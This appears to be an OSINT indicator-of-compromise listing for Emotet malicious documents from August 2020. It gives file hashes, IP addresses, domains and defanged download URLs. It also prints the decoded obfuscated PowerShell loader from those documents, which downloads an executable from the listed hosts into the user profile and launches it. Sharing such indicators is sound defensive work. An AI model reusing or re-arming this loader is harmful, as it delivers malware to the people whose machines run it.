Emotet_Doc_out_2020-08-11_01_01.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

5d7f4b905c268a16b873261ceb5f2bca434dbaa45ad6c5b20a3d43091709ace2
ba50483a5407dc7d213263534638c2e4e0445d9d06f977dc496e979beda32f33
95a7dcf91f1540cadaef66c280f94670adca33b4a9bf1fd8d8da57f0bc72ec28
2478dec83d7a3a515a5b8b5dea46109b50e441ca28fbc1f0d43802c73acd1241
9b52acf33f37a36a0e1fc180aebbe15209a60ef043653c14fe5a600b8f6a3013
b4fee593515c07d25b65b6ce8810f4848f71b619cc61cd73d544ccdc977e9ed0
f0c9f234048ed056319e68fcaf4bc54130e3975fa89a9177f690bff1bb85fcf9
7f98170c03d5d545bf1631325c8693f4cb416aef3bd0acff351e7a9e81db7407
41f3493a58a63ca3985a7c62d03dc49e1b4779f8207e2aa06ae3c65ede4b9107
846b67e88f29532f189e40a06de450fc6ae72516036c4cd9eed994ccaf51cfe4
a4709de4b500b2a90b0f75cd26b77414c6bbdbb40c4949d686dd634342602f9e
79df741f1cdd9b731f0932577a190d2f3f3270df60f44beabc77f0366c095d09
0a3291d2715fd01250ba5d617a9526e37b1e15edd535968de9770e3ecfe0b66a
9c4d0b768a9612b5669b4cfe8688bbd2956e034a406587fb1353712c4bbe9560
889f81ffc122b2a540bf32aeef7373b89a9b93d5eee64180a2b1778fcf258e17
3ed0591ff0b06363dd4747fd9c7c2ec4b33d7c1a73fbef3cc6d86e9980d7fcec
60ddee3285e4438dbc522fb39d4e4dc9d14dd5efb77240eee32012568f1ed874
aead72323b181036358a4d13c1a051318219808f05045f594b9f969f5c03530c
0325e8059acd1d316cb0fa7f7a511d2f3f4397800d0fd18ee2ee6ccac75ff689
7a9a598ce523ae83061c785e407abf2578f22b5d89e2d0c29a4f0c903843766d
96d1376abf69a4953c711ed19b707bc3664fdc0b266e8dd3451c4f8a4259d687
c86d2a143bff1f38b492b32e53b8ba1b9c4d2b264484f1df56874c268629e9e9
4ccb4bd6b392cf87bc4e1a53c5075523c3d1247d5401a4eb2727233c42cc80b2
2a2a4e8fa56599f52cab485cb5ff8c064e3680295db76e7e11d25489250334b1
c82d41f6fcc225675441650f6ed0ca4593cee8a08c46b0073ec4d6a1246ffab9
6c50779a11ed7e4b24da12f97a3044f7a397161ec76d2d7a5f3a2a2848525386
4ef3be78e6d5e7488bfec47d05dcb528ae781bbfcccf27d5775eabaf583ec691
7a711a05100fda158a11a396fa4ad86292e8bfe4252e5ea817dccc9557b4184b
0bf00915e9ddb010ba952f6ed1f1ddeeb3c5b89a793d21ea76c27311fff52bea
2e0d02ba976f6aa981adbb665e0df6a1c75a713ca48f7900d6e96f148ebeb810
d46f43e38bebdbe21110ad2795afe0205af99046bbdafee4a60652848124c826
4124f9047ecf1f5234404e7afa81bff78fcafc5320affd282914e4284d2f649b
3279305c76025d9335931768dfb6a02880eebae4e37850754d311dbcb3052bd8
af8d6711dcbdacd57f251a7e17cbe6ac78b6ff18bb4428019bca4160a4d16dbe
94b08901c9f2bfcd5fb84d1f52c165d34ef402a87cf6895fb44c7b22696730a9
f3b62d77884761c4bf4613de3043df7c44d53561b9cdf114e29aa930a19ed81d
c2362dc19ec55665c98bed27b7bb3e8c6e55499b202b79cfb9151ec0e6cda284
31194a5dc9eac0200b70356c81537946c971260204e6389342f1e2efab5dda7b
52fe8b820f96e3d14965577835ed0a11829cbc54871118fe47ecff13a0fcd995
ace1468694c4306c43cd058918d19992784f1f6c8586d0e5126e7ddfc82bc765
8816cef9633f8970599922c96e37b90eb7a6e522e7d07b63142e7b4166d41e15
a3190b0162e5af8a0bf8410240bcb730dfeb32db42f61cf0f9856bcfeee88605
5221b63302bb549e4bac089efb0eb85e96f2629070252b3027cdc915f5785524
83f04263efc071f1c831c5e586da332000992a6435ebe8e821dc5825ba7f2747
c37e73a676bec2798cf239f8c1f4731fc81f735cea83f8b81ffbbeb2564a4852
149576ef5ef94316d4e0db4ce478cd4866a0293878a5d8070dc4bbe6d86050b7
8f9af89d2ebf390e92bc66c56b6fe9fc28b7852a1333ceb33e5c37e7d58971f2
26acee102d7e012dc8697c0cab87994549a9c0114e59096762aaeffabcb2af91
254be797ffbf8675b2ea4ba0e525fe4be49e809bf39ec4d8edebd9be0a548468
1cae3e9b451b8db9905b161faec1f74423611de94a95d0a52fdd74b0fc42ad9d
79d047f96fd8f13e9c1fcda856375c4e336e67f4ab554ee6c78d6fe93bd382a6
4ac09446ee1c44d7cc93a8759c01673e631659d35b62793d54c2586afa29ca9e


IPs:
101.200.55.14
104.27.134.21
104.27.135.21
172.67.137.173
185.199.220.27
47.94.221.221
5.61.253.17

Domains:

amagna.nl
manandvanwaterlooville.co.uk
nilinkeji.com
scyzm.net
uniral.com


hxxp://manandvanwaterlooville.co.uk/wp-admin/prX892/
hxxps://uniral.com/captchasignup/4J579681/
hxxps://scyzm.net/lkx7/lqoH8S/
hxxps://amagna.nl/DZ9MzAobu3/37Z/
hxxps://nilinkeji.com/online/90fb31/


Decoded Base64 Powershell:
$VAFGKijc='JCMDMbxa';
[Net.ServicePointManager]::"S`E`CuRiTYPROT`ocoL" = 'tls12, tls11, tls';
$AWEVRfis = '432';
$QMXUMtqx='HXWSQpcl';
$LZFIXhuv=$env:userprofile+'\'+$AWEVRfis+'.exe';
$EPWZVclt='WJCYRuyc';
$DUCKNoll=.('n'+'ew-obje'+'ct') neT.WebCLIeNT;
$YJFPIsru='hxxp://manandvanwaterlooville.co.uk/wp-admin/prX892/
hxxps://uniral.com/captchasignup/4J579681/
hxxps://scyzm.net/lkx7/lqoH8S/
hxxps://amagna.nl/DZ9MzAobu3/37Z/
hxxps://nilinkeji.com/online/90fb31/'."S`pliT"([char]42);
$XGSMUlau='NJWOKqlv';
foreach($DOBBIyym in $YJFPIsru){try{$DUCKNoll."dow`NlOaD`FIlE"($DOBBIyym, $LZFIXhuv);
$NQRVJtht='GJGBUnse';
If ((.('Ge'+'t-Item') $LZFIXhuv)."L`en`GTH" -ge 24054) {([wmiclass]'win32_Process')."CrE`ATE"($LZFIXhuv);
$SVLZAvyk='IZMMVykl';
break;
$CWZFAxtl='LOIWGlsd'}}catch{}}$CRQZKjrl='TWKDJcmb'